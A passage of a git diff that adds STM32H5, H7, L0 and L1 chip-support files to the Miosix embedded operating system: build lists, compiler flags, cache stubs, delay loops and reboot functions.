* This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +namespace miosix { + +// Implementation of interfaces/cache.h for a chip wihtout caches + +inline void markBufferBeforeDmaWrite(const void *buffer, int size) {} +inline void markBufferAfterDmaRead(void *buffer, int size) {} +inline void IRQenableCache() {} + +} //namespace miosix diff --git a/miosix/arch/chip/stm32h5/interfaces-impl/delays.cpp b/miosix/arch/chip/stm32h5/interfaces-impl/delays.cpp new file mode 100644 index 000000000..d7f4a585c --- /dev/null +++ b/miosix/arch/chip/stm32h5/interfaces-impl/delays.cpp @@ -0,0 +1,64 @@ +/*************************************************************************** + * Copyright (C) 2010-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "board_settings.h" +#include "interfaces/delays.h" + +namespace miosix { + +void delayMs(unsigned int mseconds) +{ + static_assert(cpuFrequency==250000000, + "Delays are uncalibrated for this clock frequency"); + #warning TODO + const unsigned int count=45000; + for(unsigned int i=0;i * + ***************************************************************************/ + +#pragma once + +#include "drivers/gpio/stm32_gpio.h" + diff --git a/miosix/arch/chip/stm32h5/interfaces-impl/poweroff.cpp b/miosix/arch/chip/stm32h5/interfaces-impl/poweroff.cpp new file mode 100644 index 000000000..d83d3db45 --- /dev/null +++ b/miosix/arch/chip/stm32h5/interfaces-impl/poweroff.cpp @@ -0,0 +1,38 @@ +/*************************************************************************** + * Copyright (C) 2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" + +namespace miosix { + +void IRQsystemReboot() +{ + NVIC_SystemReset(); +} + +} // namespace miosix diff --git a/miosix/arch/chip/stm32h5/interfaces-impl/serial_impl.h b/miosix/arch/chip/stm32h5/interfaces-impl/serial_impl.h new file mode 100644 index 000000000..d1c44c366 --- /dev/null +++ b/miosix/arch/chip/stm32h5/interfaces-impl/serial_impl.h @@ -0,0 +1,30 @@ +/*************************************************************************** + * Copyright (C) 2026 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "drivers/serial/stm32f7_serial.h" diff --git a/miosix/arch/chip/stm32h7/CMakeLists.txt b/miosix/arch/chip/stm32h7/CMakeLists.txt new file mode 100644 index 000000000..cc1481c4a --- /dev/null +++ b/miosix/arch/chip/stm32h7/CMakeLists.txt @@ -0,0 +1,34 @@ +## +## CMakeLists.txt for chip stm32h7 +## + +# CPU microarchitecture +set(MIOSIX_CPU_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv7m) + +# Set the path to the multilib directory for this architecture (used by clang) +set(MIOSIX_MULTILIB_PATH thumb/v7e-m+dp/hard) + +# Select appropriate compiler flags for both ASM/C/C++/linker +set(MIOSIX_CPU_FLAGS -mcpu=cortex-m7 -mthumb -mfloat-abi=hard -mfpu=fpv5-d16) +set(MIOSIX_CHIP_C_FLAGS -D_CHIP_STM32H7) +set(MIOSIX_CHIP_CXX_FLAGS -D_CHIP_STM32H7) + +# Select architecture specific files +set(MIOSIX_CHIP_SRC + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv7m/interfaces-impl/cpu.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_interrupts.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_mpu.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_userspace.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_cache.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/os_timer/stm32_32bit_os_timer.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/sleep/cortexMx_sleep.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/gpio/stm32_gpio.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/serial/stm32f7_serial.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/serial/stm32_serial_common.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/dcc.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/sdmmc/stm32h7_sd.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/clock/stm32h7_pll.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/delays.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/poweroff.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/CMSIS/Device/ST/STM32H7xx/Source/Templates/system_stm32h7xx.cpp +) diff --git a/miosix/arch/chip/stm32h7/Makefile.inc b/miosix/arch/chip/stm32h7/Makefile.inc new file mode 100644 index 000000000..8fcb89d17 --- /dev/null +++ b/miosix/arch/chip/stm32h7/Makefile.inc @@ -0,0 +1,35 @@ +## +## Makefile for chip stm32h7 +## Included by all board makefiles that use this chip +## + +## Select compiler +PREFIX := arm-miosix-eabi +## This architecture supports processes +POSTLD := mx-postlinker + +CPU_INC := arch/cpu/armv7m +## Select appropriate compiler flags for both ASM/C/C++/linker +CPU_FLAGS := -mcpu=cortex-m7 -mthumb -mfloat-abi=hard -mfpu=fpv5-d16 +CHIP_CFLAGS := -D_CHIP_STM32H7 $(XRAM) +CHIP_CXXFLAGS := -D_CHIP_STM32H7 $(XRAM) + +## Select architecture specific files +## These are the files in arch//common +CHIP_SRC := \ +arch/cpu/armv7m/interfaces-impl/cpu.cpp \ +arch/cpu/common/cortexMx_interrupts.cpp \ +arch/cpu/common/cortexMx_mpu.cpp \ +arch/cpu/common/cortexMx_userspace.cpp \ +arch/cpu/common/cortexMx_cache.cpp \ +arch/drivers/os_timer/stm32_32bit_os_timer.cpp \ +arch/drivers/sleep/cortexMx_sleep.cpp \ +arch/drivers/gpio/stm32_gpio.cpp \ +arch/drivers/serial/stm32f7_serial.cpp \ +arch/drivers/serial/stm32_serial_common.cpp \ +arch/drivers/dcc.cpp \ +arch/drivers/sdmmc/stm32h7_sd.cpp \ +arch/drivers/clock/stm32h7_pll.cpp \ +$(CHIP_INC)/interfaces-impl/delays.cpp \ +$(CHIP_INC)/interfaces-impl/poweroff.cpp \ +arch/CMSIS/Device/ST/STM32H7xx/Source/Templates/system_stm32h7xx.cpp diff --git a/miosix/arch/chip/stm32h7/interfaces-impl/cache_impl.h b/miosix/arch/chip/stm32h7/interfaces-impl/cache_impl.h new file mode 100644 index 000000000..321ed2f34 --- /dev/null +++ b/miosix/arch/chip/stm32h7/interfaces-impl/cache_impl.h @@ -0,0 +1 @@ +#include "cpu/common/cortexMx_cache.h" diff --git a/miosix/arch/chip/stm32h7/interfaces-impl/delays.cpp b/miosix/arch/chip/stm32h7/interfaces-impl/delays.cpp new file mode 100644 index 000000000..ad3721dac --- /dev/null +++ b/miosix/arch/chip/stm32h7/interfaces-impl/delays.cpp @@ -0,0 +1,63 @@ +/*************************************************************************** + * Copyright (C) 2010-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "board_settings.h" +#include "interfaces/delays.h" + +namespace miosix { + +void delayMs(unsigned int mseconds) +{ + //Note: flash wait state don't matter because of icache + const unsigned int count=cpuFrequency/1000; + for(unsigned int i=0;i * + ***************************************************************************/ + +#ifndef GPIO_IMPL_H +#define GPIO_IMPL_H + +#include "drivers/gpio/stm32_gpio.h" + +#endif //GPIO_IMPL_H diff --git a/miosix/arch/chip/stm32h7/interfaces-impl/poweroff.cpp b/miosix/arch/chip/stm32h7/interfaces-impl/poweroff.cpp new file mode 100644 index 000000000..d83d3db45 --- /dev/null +++ b/miosix/arch/chip/stm32h7/interfaces-impl/poweroff.cpp @@ -0,0 +1,38 @@ +/*************************************************************************** + * Copyright (C) 2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" + +namespace miosix { + +void IRQsystemReboot() +{ + NVIC_SystemReset(); +} + +} // namespace miosix diff --git a/miosix/arch/chip/stm32h7/interfaces-impl/serial_impl.h b/miosix/arch/chip/stm32h7/interfaces-impl/serial_impl.h new file mode 100644 index 000000000..d1c44c366 --- /dev/null +++ b/miosix/arch/chip/stm32h7/interfaces-impl/serial_impl.h @@ -0,0 +1,30 @@ +/*************************************************************************** + * Copyright (C) 2026 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "drivers/serial/stm32f7_serial.h" diff --git a/miosix/arch/chip/stm32l0/CMakeLists.txt b/miosix/arch/chip/stm32l0/CMakeLists.txt new file mode 100644 index 000000000..642222dfa --- /dev/null +++ b/miosix/arch/chip/stm32l0/CMakeLists.txt @@ -0,0 +1,27 @@ +## +## CMakeLists.txt for chip stm32l0 +## + +# CPU microarchitecture +set(MIOSIX_CPU_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv6m) + +# Set the path to the multilib directory for this architecture (used by clang) +set(MIOSIX_MULTILIB_PATH thumb/v6-m/nofp) + +# Select appropriate compiler flags for both ASM/C/C++/linker +set(MIOSIX_CPU_FLAGS -mcpu=cortex-m0plus -mthumb) +set(MIOSIX_CHIP_C_FLAGS -D_CHIP_STM32L0) +set(MIOSIX_CHIP_CXX_FLAGS -D_CHIP_STM32L0) + +# Select architecture specific files +set(MIOSIX_CHIP_SRC + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv6m/interfaces-impl/cpu.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_interrupts.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/os_timer/stm32_16bit_os_timer.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/sleep/cortexMx_sleep.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/gpio/stm32_gpio.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/serial/stm32f7_serial.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/serial/stm32_serial_common.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/poweroff.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/CMSIS/Device/ST/STM32L0xx/Source/Templates/system_stm32l0xx.cpp +) diff --git a/miosix/arch/chip/stm32l0/Makefile.inc b/miosix/arch/chip/stm32l0/Makefile.inc new file mode 100644 index 000000000..6c64ec23f --- /dev/null +++ b/miosix/arch/chip/stm32l0/Makefile.inc @@ -0,0 +1,28 @@ +## +## Makefile for chip stm32l0 +## Included by all board makefiles that use this chip +## + +## Select compiler +PREFIX := arm-miosix-eabi +## This architecture does not support processes +#POSTLD := + +CPU_INC := arch/cpu/armv6m +## Select appropriate compiler flags for both ASM/C/C++/linker +CPU_FLAGS := -mcpu=cortex-m0plus -mthumb +CHIP_CFLAGS := -D_CHIP_STM32L0 +CHIP_CXXFLAGS := -D_CHIP_STM32L0 + +## Select architecture specific files +## These are the files in arch//common +CHIP_SRC := \ +arch/cpu/armv6m/interfaces-impl/cpu.cpp \ +arch/cpu/common/cortexMx_interrupts.cpp \ +arch/drivers/os_timer/stm32_16bit_os_timer.cpp \ +arch/drivers/sleep/cortexMx_sleep.cpp \ +arch/drivers/gpio/stm32_gpio.cpp \ +arch/drivers/serial/stm32f7_serial.cpp \ +arch/drivers/serial/stm32_serial_common.cpp \ +$(CHIP_INC)/interfaces-impl/poweroff.cpp \ +arch/CMSIS/Device/ST/STM32L0xx/Source/Templates/system_stm32l0xx.cpp diff --git a/miosix/arch/chip/stm32l0/interfaces-impl/cache_impl.h b/miosix/arch/chip/stm32l0/interfaces-impl/cache_impl.h new file mode 100644 index 000000000..e1c18fdc7 --- /dev/null +++ b/miosix/arch/chip/stm32l0/interfaces-impl/cache_impl.h @@ -0,0 +1,38 @@ +/*************************************************************************** + * Copyright (C) 2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +namespace miosix { + +// Implementation of interfaces/cache.h for a chip wihtout caches + +inline void markBufferBeforeDmaWrite(const void *buffer, int size) {} +inline void markBufferAfterDmaRead(void *buffer, int size) {} +inline void IRQenableCache() {} + +} //namespace miosix diff --git a/miosix/arch/chip/stm32l0/interfaces-impl/gpio_impl.h b/miosix/arch/chip/stm32l0/interfaces-impl/gpio_impl.h new file mode 100644 index 000000000..cfff40358 --- /dev/null +++ b/miosix/arch/chip/stm32l0/interfaces-impl/gpio_impl.h @@ -0,0 +1,33 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#ifndef GPIO_IMPL_H +#define GPIO_IMPL_H + +#include "drivers/gpio/stm32_gpio.h" + +#endif //GPIO_IMPL_H diff --git a/miosix/arch/chip/stm32l0/interfaces-impl/poweroff.cpp b/miosix/arch/chip/stm32l0/interfaces-impl/poweroff.cpp new file mode 100644 index 000000000..d83d3db45 --- /dev/null +++ b/miosix/arch/chip/stm32l0/interfaces-impl/poweroff.cpp @@ -0,0 +1,38 @@ +/*************************************************************************** + * Copyright (C) 2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" + +namespace miosix { + +void IRQsystemReboot() +{ + NVIC_SystemReset(); +} + +} // namespace miosix diff --git a/miosix/arch/chip/stm32l0/interfaces-impl/serial_impl.h b/miosix/arch/chip/stm32l0/interfaces-impl/serial_impl.h new file mode 100644 index 000000000..d1c44c366 --- /dev/null +++ b/miosix/arch/chip/stm32l0/interfaces-impl/serial_impl.h @@ -0,0 +1,30 @@ +/*************************************************************************** + * Copyright (C) 2026 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "drivers/serial/stm32f7_serial.h" diff --git a/miosix/arch/chip/stm32l1/CMakeLists.txt b/miosix/arch/chip/stm32l1/CMakeLists.txt new file mode 100644 index 000000000..1213a92e0 --- /dev/null +++ b/miosix/arch/chip/stm32l1/CMakeLists.txt @@ -0,0 +1,29 @@ +## +## CMakeLists.txt for chip stm32l1 +## + +# CPU microarchitecture +set(MIOSIX_CPU_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv7m) + +# Set the path to the multilib directory for this architecture (used by clang) +set(MIOSIX_MULTILIB_PATH thumb/v7-m/nofp) + +# Select appropriate compiler flags for both ASM/C/C++/linker +set(MIOSIX_CPU_FLAGS -mcpu=cortex-m3 -mthumb) +set(MIOSIX_CHIP_C_FLAGS -D_CHIP_STM32L1) +set(MIOSIX_CHIP_CXX_FLAGS -D_CHIP_STM32L1) + +# Select architecture specific files +set(MIOSIX_CHIP_SRC + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv7m/interfaces-impl/cpu.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_interrupts.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_mpu.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_userspace.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/os_timer/stm32_16bit_os_timer.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/sleep/cortexMx_sleep.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/gpio/stm32_gpio.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/serial/stm32f1_f2_f4_serial.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/serial/stm32_serial_common.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/delays.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/poweroff.cpp +) diff --git a/miosix/arch/chip/stm32l1/Makefile.inc b/miosix/arch/chip/stm32l1/Makefile.inc new file mode 100644 index 000000000..b1ef694dc --- /dev/null +++ b/miosix/arch/chip/stm32l1/Makefile.inc @@ -0,0 +1,30 @@ +## +## Makefile for chip stm32l1 +## Included by all board makefiles that use this chip +## + +## Select compiler +PREFIX := arm-miosix-eabi +## This architecture does not support processes +#POSTLD := + +CPU_INC := arch/cpu/armv7m +## Select appropriate compiler flags for both ASM/C/C++/linker +CPU_FLAGS := -mcpu=cortex-m3 -mthumb +CHIP_CFLAGS := -D_CHIP_STM32L1 $(XRAM) +CHIP_CXXFLAGS := -D_CHIP_STM32L1 $(XRAM) + +## Select architecture specific files +## These are the files in arch//common +CHIP_SRC := \ +arch/cpu/armv7m/interfaces-impl/cpu.cpp \ +arch/cpu/common/cortexMx_interrupts.cpp \ +arch/cpu/common/cortexMx_mpu.cpp \ +arch/cpu/common/cortexMx_userspace.cpp \ +arch/drivers/os_timer/stm32_16bit_os_timer.cpp \ +arch/drivers/sleep/cortexMx_sleep.cpp \ +arch/drivers/gpio/stm32_gpio.cpp \ +arch/drivers/serial/stm32f1_f2_f4_serial.cpp \ +arch/drivers/serial/stm32_serial_common.cpp \ +$(CHIP_INC)/interfaces-impl/delays.cpp \ +$(CHIP_INC)/interfaces-impl/poweroff.cpp diff --git a/miosix/arch/chip/stm32l1/interfaces-impl/cache_impl.h b/miosix/arch/chip/stm32l1/interfaces-impl/cache_impl.h new file mode 100644 index 000000000..e1c18fdc7 --- /dev/null +++ b/miosix/arch/chip/stm32l1/interfaces-impl/cache_impl.h @@ -0,0 +1,38 @@ +/*************************************************************************** + * Copyright (C) 2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +namespace miosix { + +// Implementation of interfaces/cache.h for a chip wihtout caches + +inline void markBufferBeforeDmaWrite(const void *buffer, int size) {} +inline void markBufferAfterDmaRead(void *buffer, int size) {} +inline void IRQenableCache() {} + +} //namespace miosix diff --git a/miosix/arch/chip/stm32l1/interfaces-impl/delays.cpp b/miosix/arch/chip/stm32l1/interfaces-impl/delays.cpp new file mode 100644 index 000000000..60aba5bf1 --- /dev/null +++ b/miosix/arch/chip/stm32l1/interfaces-impl/delays.cpp @@ -0,0 +1,75 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces/delays.h" +#include "board_settings.h" + +namespace miosix { + +static inline void delayUsImpl(unsigned int useconds) +{ + unsigned int count; + static_assert(cpuFrequency==32000000|| + cpuFrequency==24000000|| + cpuFrequency==16000000, "Delays uncalibrated"); + if(cpuFrequency>16000000) + { + //1 wait state + if (cpuFrequency==32000000) count=4*useconds; + else if(cpuFrequency==24000000) count=3*useconds; + //In internal Flash at 32MHz each loop iteration takes exactly 0.25us + asm volatile(" .align 2 \n" //4-byte aligned inner loop + "1: nop \n" + " nop \n" + " nop \n" + " subs %0, %0, #1 \n" + " bpl 1b \n":"+r"(count)::"cc"); + } else { + //0 wait state + if(cpuFrequency==16000000) count=2*useconds; + asm volatile(" .align 2 \n" //4-byte aligned inner loop + "1: nop \n" + " nop \n" + " nop \n" + " nop \n" + " nop \n" + " subs %0, %0, #1 \n" + " bpl 1b \n":"+r"(count)::"cc"); + } +} + +void delayMs(unsigned int mseconds) +{ + for(unsigned int i=0;i * + ***************************************************************************/ + +#ifndef GPIO_IMPL_H +#define GPIO_IMPL_H + +#include "drivers/gpio/stm32_gpio.h" + +#endif //GPIO_IMPL_H diff --git a/miosix/arch/chip/stm32l1/interfaces-impl/poweroff.cpp b/miosix/arch/chip/stm32l1/interfaces-impl/poweroff.cpp new file mode 100644 index 000000000..d83d3db45 --- /dev/null +++ b/miosix/arch/chip/stm32l1/interfaces-impl/poweroff.cpp @@ -0,0 +1,38 @@ +/*************************************************************************** + * Copyright (C) 2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + 